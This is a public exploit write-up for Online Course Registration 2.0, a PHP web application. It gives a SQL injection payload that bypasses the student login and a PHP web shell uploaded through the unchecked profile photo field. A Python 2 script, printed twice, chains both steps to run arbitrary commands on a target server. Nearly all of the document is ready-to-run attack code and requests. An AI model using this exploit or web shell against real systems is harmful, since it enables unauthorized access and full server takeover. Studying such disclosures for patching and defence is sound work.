Online Course Registration 2.0 Remote Code Execution

`# Exploit Title: Online Course Registration 2.0 - Remote Code Execution  
# Exploit Author: Metin Yunus Kandemir  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/online-course-registration-free-download/  
# Version: v2.0  
# Category: Webapps  
# Tested on: Xampp for Windows  
  
# Description:  
Attacker can bypass login page and access to student change password dashboard.  
  
PoC Request (Authentication Bypass):  
  
POST /onlinecourse/index.php HTTP/1.1  
Host: target  
  
regno=joke' or '1'='1'#&password=joke' or '1'='1'#&submit=  
  
  
There isn't any file extension control in student panel "My Profile" section.  
An unauthorized user can upload php file as profile image.  
  
First PoC Request (RCE):  
  
POST /onlinecourse/my-profile.php HTTP/1.1  
Host: target  
  
-----------------------------16046344889164047791563222514  
Content-Disposition: form-data; name="photo"; filename="simple.php"  
Content-Type: application/x-php  
  
<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>  
  
  
Second PoC Request (RCE):  
  
GET /onlinecourse/studentphoto/simple.php?cmd=ipconfig HTTP/1.1  
Host: target  
  
  
Below basic python script will bypass authentication and execute command on target server.  
  
  
  
  
  
import requests  
import sys   
  
if (len(sys.argv) !=3) or sys.argv[1] == "-h":  
print "[*] Usage: PoC.py rhost/rpath "  
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "  
exit(0)  
  
rhost = sys.argv[1]  
command = sys.argv[2]  
  
  
  
url = "http://"+rhost+"/index.php"  
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}  
  
with requests.Session() as session:  
#bypass authentication  
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})  
  
#check authentication bypass  
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)  
if check.status_code == 200:  
print "[+] Authentication bypass was successfull"  
else:  
print "[-] Authentication bypass was unsuccessful"  
sys.exit()  
  
#upload simple php file  
  
files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}  
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}  
furl = "http://"+rhost+"/my-profile.php"  
session.post(url=furl, files= files, data=fdata)  
  
#execution  
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)  
  
#check execution  
if final.status_code == 200:  
print "[+] Command execution completed successfully."  
print "\tPut on a happy face!\n"  
else:  
print "[-] Command execution was unsuccessful."  
sys.exit()  
  
print final.text  
  
online-course-registration-rce.png  
  
poc.py  
  
import requests  
import sys   
  
if (len(sys.argv) !=3) or sys.argv[1] == "-h":  
print "[*] Usage: PoC.py rhost/rpath "  
print "[*] e.g.: PoC.py 127.0.0.1/onlinecourse "  
exit(0)   
  
rhost = sys.argv[1]  
command = sys.argv[2]  
  
  
  
url = "http://"+rhost+"/index.php"  
data = {"regno": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}  
  
with requests.Session() as session:  
#bypass authentication  
lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})  
  
#check authentication bypass  
check = session.get("http://"+rhost+"/my-profile.php", allow_redirects=False)  
if check.status_code == 200:  
print "[+] Authentication bypass was successfull"  
else:  
print "[-] Authentication bypass was unsuccessful"  
sys.exit()   
  
#upload simple php file  
  
files = {'photo':('command.php', '<?php system($_GET["cmd"]); ?>')}  
fdata = {"studentname": "Test", "studentregno": "10806157", "Pincode": "715989", "cgpa": "0.00", "photo": "command.php", "submit": ""}  
furl = "http://"+rhost+"/my-profile.php"  
session.post(url=furl, files= files, data=fdata)  
  
#execution  
final=session.get("http://"+rhost+"/studentphoto/command.php?cmd="+command)  
  
#check execution  
if final.status_code == 200:  
print "[+] Command execution completed successfully.\n"  
print "\tPut on a happy face!\n"  
else:  
print "[-] Command execution was unsuccessful."  
sys.exit()  
  
print final.text  
`